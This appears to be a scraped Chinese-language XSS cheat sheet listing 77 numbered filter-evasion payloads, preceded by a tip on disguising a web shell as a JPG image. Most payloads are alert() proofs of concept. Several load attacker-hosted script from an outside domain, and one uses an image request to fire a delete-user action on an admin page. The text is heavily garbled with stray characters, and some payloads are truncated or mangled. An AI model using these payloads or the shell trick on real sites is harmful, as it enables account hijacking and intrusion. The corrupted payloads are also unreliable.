跨站图片shell7 o" ]5 {; m0 c2 d }
XSS跨站代码 <script>alert("")</script>
( v) E; p+ s- R( U/ ] N' d: \, c0 {1 n+ y: \5 \ a
将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
9 G6 r. U2 R4 C/ C' c* Y
( I8 s) H, r3 [" b0 ^. D/ T) P1 k+ v0 q5 ^
+ U9 \# q2 I/ Y# y s* u' x
1)普通的XSS JavaScript注入6 H; M8 W* H! P3 W5 [4 l, _" a- `
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
2 n; S2 v4 i8 m0 f" w; F' z1 n" S& C" l+ Q* }
(2)IMG标签XSS使用JavaScript命令
2 O9 u& O/ _0 w<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
7 T* [/ x1 ]0 u( s$ v% ~! T; ^* E9 A0 {9 `6 [; C; |- x
(3)IMG标签无分号无引号
7 h! m2 D5 V9 ?4 }1 O, j8 K5 Z<IMG SRC=javascript:alert(‘XSS’)>
( ?( d* j* l6 w4 S% B' F* q
6 g# |9 g4 ?! F- E- _2 y& n: s) i# W(4)IMG标签大小写不敏感
) }! U: _5 J9 b% V8 Y$ ]" }3 ^<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
, F2 B. l& ]+ E. q! g* G
k( C: j1 I+ L7 K(5)HTML编码(必须有分号)
$ s% n, ~, M4 g( X: G8 L' [<IMG SRC=javascript:alert(“XSS”)>+ s1 X: V4 L3 Z) {2 S4 [
$ Q3 P' |/ O' v
(6)修正缺陷IMG标签5 M; p% O }% L/ A' q* O/ b1 O
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
9 {5 ~3 M- M- W& H, d4 E8 [7 t: M& R% p" e! U
(7)formCharCode标签(计算器)
* ?: S4 f" I! }& W1 K: R2 K* V<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>" L6 s2 d( V8 Z: x
# z" c' w1 z- ^% |0 y8 X0 Q( f5 a(8)UTF-8的Unicode编码(计算器)
/ [' }/ \ u' b3 U2 B3 V' M2 F; ^<IMG SRC=jav..省略..S')>8 J/ U- V3 j! X7 H! I
9 ?* N& `! `+ H- b( b
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)/ X' j& y, t& @. W
<IMG SRC=jav..省略..S')>9 ^- e$ |' E9 x7 r/ b
' m- C8 g' W/ e
(10)十六进制编码也是没有分号(计算器)
; Q# O$ n; i. n B<IMG SRC=java..省略..XSS')>
. n+ d) V. g6 }% L) Z8 z% A6 ~8 ~' W4 b Y
(11)嵌入式标签,将Javascript分开: k* K( w& f) E d& c
<IMG SRC=”jav ascript:alert(‘XSS’);”>
0 `5 \! }# `) l2 M% H' f5 E
9 `% C4 J0 N; i: v! f(12)嵌入式编码标签,将Javascript分开
% j3 t2 n% X0 F7 t" L$ g: w. {<IMG SRC=”jav ascript:alert(‘XSS’);”>; ]) k0 a3 Y& ^' T9 X5 d1 k
3 L" o6 a& }. {) `* d
(13)嵌入式换行符- p9 w+ U: w" @4 E
<IMG SRC=”jav ascript:alert(‘XSS’);”>
- I& y+ q& z( n9 x- V% Y0 v; f6 {: t
# X+ S; H, K- F(14)嵌入式回车
) u+ w$ w7 T, u5 p) t! i; W<IMG SRC=”jav ascript:alert(‘XSS’);”>
& K; u* w( Z+ m; o+ Z- p' \ s) v9 K0 `' y G/ k% ?% \( n# s
(15)嵌入式多行注入JavaScript,这是XSS极端的例子# W& z1 Q C* q2 i1 \
<IMG SRC=”javascript:alert(‘XSS‘)”>
, N m' a E8 z+ G' ^6 c. ?" r6 R( F2 Y5 O
(16)解决限制字符(要求同页面)6 I9 L" O. C3 S
<script>z=’document.’</script>
a5 }' `5 p. r0 c! ]+ K, w<script>z=z+’write(“‘</script>, f. P3 @0 U( O( q* X9 H
<script>z=z+’<script’</script>: \; X) h: I2 q3 M- e7 r6 z
<script>z=z+’ src=ht’</script>7 Q, s4 M" M5 U# w; O Z" a
<script>z=z+’tp://ww’</script>
' T+ H2 M$ s, D: e4 X5 P. I<script>z=z+’w.shell’</script>
7 B% N3 @: j4 @+ l K2 G<script>z=z+’.net/1.’</script>
/ p8 F7 c8 y& x: X$ ?* \& e9 ?1 Y b<script>z=z+’js></sc’</script>1 c% k- e9 g+ p* w( e
<script>z=z+’ript>”)’</script>1 \6 g0 j& } X6 {/ b. d
<script>eval_r(z)</script>
- Z9 N( v X. ]# {8 v/ w, z7 Y- F9 ^# H; [9 X) s1 A6 X
(17)空字符
- s/ |% J$ g& I+ e, m# w q" N0 Vperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out- k! \! t. a) t( Z/ r1 ~
7 s9 g8 B% ?* w7 y( x(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用$ [5 ~* U" ^8 h( b
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
1 N! A% @( f) Z2 d. M1 L$ Y
) |! |# y0 V7 B4 k(19)Spaces和meta前的IMG标签
! ]/ Q( C9 C* ?<IMG SRC=” javascript:alert(‘XSS’);”>+ o1 ^ {& l. C" h
; g5 V1 k& |$ l' D; i(20)Non-alpha-non-digit XSS- u- `9 c; ]* z! @" F7 @% H
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
5 w8 U- y- E4 X# U
2 q% D- v, L/ O+ Z. e3 m \(21)Non-alpha-non-digit XSS to 2- }2 J1 l& ]* J7 K( P
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
& o! t5 `7 k, l6 g: J3 ?) W+ X" i& |7 F; g
(22)Non-alpha-non-digit XSS to 34 t# T( g4 X+ X# T
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
$ H) [3 s, m# l2 p- _- c3 o1 n! K, L' S+ L* e- Y+ j$ P- ?% k
(23)双开括号
! V& g; w: @. R) Y# C<<SCRIPT>alert(“XSS”);//<</SCRIPT>
% Y3 E8 ^8 x3 y- t% _9 [
6 W+ R* u7 B0 D0 J6 s2 P(24)无结束脚本标记(仅火狐等浏览器)2 N# i' D2 d$ q2 i Q3 S
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>" L8 b' ?& _) W. h) L* M9 G
$ J8 B/ ]/ T4 T& [7 r1 ^; ^4 f(25)无结束脚本标记2
; R# E* p( `+ I: o& `, ?3 h<SCRIPT SRC=//3w.org/XSS/xss.js>
5 o/ C8 f- O# v& H9 a4 u6 N# L- Q( H6 T# I6 c: p
(26)半开的HTML/JavaScript XSS: g; H( I5 w0 o: p( w" }' O
<IMG SRC=”javascript:alert(‘XSS’)”$ P9 J- _2 t( b+ Q
: I d7 U& i R! @! i/ v
(27)双开角括号# P/ r* D5 x0 k2 @9 ?* p
<iframe src=http://3w.org/XSS.html <
$ z5 {2 {! }5 I" k0 x3 u5 D- y. m% W% H% N2 y" w8 y! `
(28)无单引号 双引号 分号
& e0 l8 e) C, h8 A<SCRIPT>a=/XSS/
6 e+ e2 `, f1 F8 |2 j6 z% walert(a.source)</SCRIPT>0 @, x9 d& R- I! R4 {* u$ y X
: X6 e3 x, I2 D8 D' p
(29)换码过滤的JavaScript) }" D: v4 k# }" k1 U8 J; \
\”;alert(‘XSS’);//
* Z. ?' }, \8 f% q
2 U4 ?( o7 t* e- U- l1 K4 a(30)结束Title标签4 b& R4 x" N2 x8 Z% w( O
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>4 Y7 j7 {/ H# |" k9 m
0 K" C! a+ l6 m2 x; I' s(31)Input Image: F8 N7 Q3 _3 J" K. t B7 u9 w9 d2 J
<INPUT SRC=”javascript:alert(‘XSS’);”>
8 S4 O* ]; W) [& X8 H2 o' J4 p# P& n8 { S
(32)BODY Image
7 m1 K- ?9 r4 N; G<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
8 S% v+ F P- {
& { z$ X4 Y+ M(33)BODY标签( N& O3 {. |- h& T6 h6 v
<BODY(‘XSS’)>
: k) c% p3 K& g' o0 h/ A
/ J$ l( X0 ~& _2 O( e+ p& h3 ~4 J(34)IMG Dynsrc8 }, u) d: { S0 E
<IMG DYNSRC=”javascript:alert(‘XSS’)”>& a/ O: L2 [- S) z1 p
( |. f1 o3 Y8 e6 k2 E3 f) j(35)IMG Lowsrc
s0 r6 k) M1 W( {+ _<IMG LOWSRC=”javascript:alert(‘XSS’)”>$ }& \% D; J- _0 ?, F
& r4 m! x0 [% {/ h1 G" z(36)BGSOUND* Y5 m: q5 {6 V' F& R$ o% m
<BGSOUND SRC=”javascript:alert(‘XSS’);”>' M/ t* [! H8 A- A
& x' z- r) L6 N+ q8 J(37)STYLE sheet
" U1 X) k+ Q6 y C" D<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>+ m6 @- Z- n: E0 U" L+ i$ z, Y4 T
U1 u$ s2 O% p: x+ O( l
(38)远程样式表8 F2 V! W) o9 N
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>; m9 i$ W2 N! y( o* w
3 G, [2 |# }' c1 L6 V(39)List-style-image(列表式)
2 `* K+ S2 N H6 w. C<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
( Z& D( J; M+ x. x9 A# {
% N6 {$ r: Y3 W4 z(40)IMG VBscript
! C+ n) K( o( h* p( I$ l8 [ M6 I<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
6 c* S7 ]( _, N* g* r% V* t: r+ {4 r8 G9 q% Q M
(41)META链接url. Y: Y. _- n% S
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
; [6 }1 c* |" G4 U0 i* G8 D6 D! g& [, e+ W5 F! @
(42)Iframe$ t8 |6 J1 \4 _# ^
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
) a: k$ ~7 ]) y% v(43)Frame j1 c5 x" G, F- c; m* }) |% v
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
1 N) s3 l8 T- x0 b- f5 h6 [' \9 {' c& s' A/ B' U$ ]) E
(44)Table
9 O6 e* e8 Z8 j( B8 t0 S. G _<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
3 e+ {4 G k I# I" U) g+ e/ ?# n
/ ?( r. O6 j. }' z$ b(45)TD: }. Z; c+ j- Z0 i2 C* Z- }! M8 n1 s6 }
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
1 c, t, K( T; C: ^/ f9 r7 M/ X3 K: Q6 I- @! W
(46)DIV background-image' H* B# y$ ~: l4 G0 ~$ P
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>* X; }, s. Q2 i( `
3 W( Y0 B) B) z# @5 ?(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
t3 q+ y% F+ w" ]# T& n<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>7 l9 m# E/ l: b0 A: J i
9 x- e# o" x4 q4 H4 r7 ]
(48)DIV expression @# v) r1 ~' M# t2 C0 N- t
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
# j6 J8 V! y8 }4 [; J8 r
" ^8 ?1 K7 q' u5 Y(49)STYLE属性分拆表达6 |, ?, y( |- Z) ^
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>3 w2 ]: ]* N; |6 A% r: |
1 d f. w1 o" Y$ |$ r' H2 t! @(50)匿名STYLE(组成:开角号和一个字母开头)
3 U/ b2 C4 k3 x( o' o& d<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>8 x/ p: Q7 c1 L+ i+ g/ y6 w
2 @. X- I: S+ R0 R7 p5 B
(51)STYLE background-image5 _3 l$ r q# c$ }. [) ^6 T
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>2 c1 w. e1 t; Z. H6 v! V# l
( Y& {% p% ]5 d% [8 x! o9 x(52)IMG STYLE方式7 b0 @) Q5 N1 X# `
exppression(alert(“XSS”))’>
1 {6 J. A5 ]- J9 H; }6 x' r
5 r; o& r# h" `+ p* j2 y(53)STYLE background/ G- |6 W2 S! f9 a
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
; F \9 G# c$ w8 \% U
7 B S. Z' K' `+ u/ @# r+ r2 q$ K(54)BASE/ f3 I; D! m q+ T
<BASE HREF=”javascript:alert(‘XSS’);//”>
3 m8 ?3 Y9 v0 o+ {
# l; I* U% D, Z6 R(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS# m, x7 b: R' ~# p
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
& U' C; s" y7 R2 A6 W( {" t3 x2 Z# C8 d9 O
(56)在flash中使用ActionScrpt可以混进你XSS的代码- P. @/ a% n3 }6 [' o. i! H
a=”get”;
- Y. U& Y; I9 s% ]4 c+ M# E3 h/ @. Qb=”URL(\”";2 y- ]$ D. H2 I$ X0 a5 q! t9 a
c=”javascript:”;
/ {% z% i% s0 d% ld=”alert(‘XSS’);\”)”;
) c: K0 M3 }, J% V8 Z. v: Heval_r(a+b+c+d);4 |5 h f1 d8 z% R3 c0 K0 V. ^
1 a2 d3 f7 p6 Z- A1 H(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上8 j0 W6 e( j, x: ~, o$ N
<HTML xmlns:xss># V% ^+ ?2 D. ?5 s5 T
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
# V3 t, h, [; J9 c4 k9 I' D<xss:xss>XSS</xss:xss>1 s) b; `% M8 [ \0 A
</HTML>* }5 _1 L$ Y, o# L) R
z" _+ S; D" C(58)如果过滤了你的JS你可以在图片里添加JS代码来利用, q% Q( a4 X+ Y! Q+ I5 x O
<SCRIPT SRC=””></SCRIPT>
* ~1 C# K* B* }
! `6 G. y( n$ \/ H(59)IMG嵌入式命令,可执行任意命令
0 o! _, ^7 v3 n; \0 I<IMG SRC=”http://www.XXX.com/a.php?a=b”>6 C7 i; V) N8 u8 p. [4 ]
, ~1 o' m: v! W" @! K
(60)IMG嵌入式命令(a.jpg在同服务器)
/ S2 X6 U9 @8 X" F2 eRedirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser( Z& N4 q' K% H
& K+ o( e2 Z1 f5 |) Z7 L3 L# G& v(61)绕符号过滤- [9 g" l$ |$ A2 C
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
# F) L% i6 E/ `; L% Y6 d2 V ^: f8 W) v
(62)( Q2 \! C9 S6 I m0 }% K7 Y
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>0 I8 {- i d. C, m
2 Y& F% t; A" W
(63). V( t. @' y( F6 r. U$ U
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>: N3 a2 \5 R/ E+ a
, Z( h) d- X2 T& u* }5 T% C(64)
* i G }5 e( P5 g) [; L: O2 T2 W<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
# u H# T! U) p) a; G
( T# n5 o: p! Y+ s3 V1 q! K(65)" j% c7 o* z- O' j1 J6 M! V
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>* {* F1 ]1 Z9 H
: C8 f7 A6 p& q' M. N- v0 ]" E, D- N(66)
" S- j% X2 b# H3 O<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
% I9 F0 b. o2 `/ k2 R4 z, m9 b4 n7 _' _' s" q8 b, C. L3 A
(67)
$ U# \8 A9 c5 m<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>0 T7 U' Z9 C3 V) Y
0 R1 A! a* Z6 p5 e9 @3 {0 U(68)URL绕行3 j; \% [, Y( W! l0 f/ u9 b# m' e+ ?
<A HREF=”http://127.0.0.1/”>XSS</A>8 V6 ^: S5 a9 K H7 q- G; h: n
7 { o' \ K3 p) O% Z. s% y
(69)URL编码
! Q6 U- t( w' j( Z+ h4 y {<A HREF=”http://3w.org”>XSS</A>
: w- N/ i0 ` a( K+ T& T+ s
/ I, n, b6 a1 X3 s0 i(70)IP十进制7 l8 [( \: `7 t* j9 q
<A HREF=”http://3232235521″>XSS</A>( Q0 C8 Y& b+ H+ q, ^. A
% N! n3 G6 N! ]- U ^3 _9 a. r
(71)IP十六进制
0 x/ `% X$ L, K, ]8 W0 P<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
9 E, ^& x/ \7 T! F2 Y7 g+ s) m5 ?+ p9 k: U2 x, c
(72)IP八进制 g* x1 W- v& W- X
<A HREF=”http://0300.0250.0000.0001″>XSS</A>- |# O$ S( n T# ?9 h- _% c3 h4 l/ d, y
C- N+ v. s5 q( u(73)混合编码
6 n1 E! k+ ~% W- u# w<A HREF=”h
) _* `' o6 T2 l6 C gtt p://6 6.000146.0×7.147/”">XSS</A>3 Z3 l" ?+ ?# G3 n+ [& [
! c( Q _9 }" C# x0 t(74)节省[http:]4 S% z; T# p, Y( \# t: }( e
<A HREF=”//www.google.com/”>XSS</A>. E( v! f+ _1 ]: H
' y9 I9 K5 O6 @( N3 {, C5 v
(75)节省[www]9 N' H; x- P% h# k, O- w: D
<A HREF=”http://google.com/”>XSS</A>2 ]( k N/ B+ o
8 M7 u# h6 ~: F& `0 n- _
(76)绝对点绝对DNS/ P) h; Y, d! H" n2 `
<A HREF=”http://www.google.com./”>XSS</A>
9 H& V g r) \; H" T0 z
7 M# p/ B8 H8 w) J* B4 b3 G(77)javascript链接
~! ?3 m$ y" `<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
& R0 D) M! [+ J' w6 V3 ]" X |